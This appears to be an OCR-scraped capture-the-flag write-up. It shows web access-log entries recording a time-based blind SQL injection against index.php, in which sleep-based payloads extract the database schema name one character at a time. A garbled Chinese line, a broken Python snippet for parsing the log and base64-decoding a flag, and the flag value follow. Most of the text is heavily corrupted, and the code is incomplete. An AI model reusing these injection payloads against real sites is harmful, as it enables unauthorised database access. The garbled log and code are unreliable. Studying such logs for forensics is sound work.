192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET /index.php?id=1"%20and%20if{ord(substr((select?s20schema(),2,1))=49,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET /index.php?id=1'%20and%20if{ord(substr((select?e20schema(),2,1))=50,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET /index.php?id=1'%20and%20if{ord(substr((select?e20schema(),2,1))=51,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET /index.php?id=1'%20and%20if{ord(substr((select¥e20schemal),2,1))=52, sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET /index.php?id=1"%20and%20if(ord(substr((select%20schema(),2,1))=53,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET /index.php?id=1"%20and%20if(ord(substr((select%e20schema(),2,1))=54,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET /index,php?id=1'%20and%20iflord(substr((select?20schema(),2,1))=55,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET /index,php?id=1'%20and%20iflord(substr((select?20schema(),2,1))=56,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET findex,php?id=1'%20and%20iflord(substr((select?20schema(),2,1))=57,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET findex,php?id=1"%20and%20iflord(substr((select?20schema(),2,1))=97 sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET findex,php?id=1"%20and%20iflord(substr((select%20schema(),2,1))=98,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:09 +0000] "GET findex,php?id=1'%20and%20if(ord(substr((select¥20schema(),2,1))=99,sleep(2),1)--+ HTTP/1.1" 200 399 "-" "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:10 +0000] "GET /index.php?id=1'%20and%:20if{ord(substr({select%20sc "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:10 +0000] "GET /index.php?id=1'%20and%:20if{ord(substr({select%s20sc "python-requests/2.21.0"
192.168.52.156 - - [11/Mar/2021:17:50:12 +0000] "GET /index.php?id=1"%20and%20if{ord(substr({select%20sc pi "python-requests/2.21.0"
1 92 168.52.1 56 - - [‘I‘IfMar,l‘ZDZ‘I 17 SD ‘I 2 +0000] "GET findex, php?\d 1" %ZDand%ZDrF(ord(substr((select%ZDschemaO) 2 1)) 103 sleep(l) ‘I)--+ H'ITP/"\ 1 200 399 python requestsfz 2‘] .0"

python-requests/2.21.0"

+ HTTP/1.1" 200 377

RGP RR SR, BE - NMEKRESHMEA R, B ANz Efifag, E#MHPythonfd #ALH T



from base64 import

5 ) as f:
lines f.readlines()
for line in lines:
if in line:
packet len line[line.find( )+5:1line.find(
if packet_len
ascii_code line[line.find( )+3:1line.find(
ascii_str ( (ascii_code))
flag ascii_str
else:
pass
else:

pass

print(b64decode(flag).decode(

flag{You_are_so_great}
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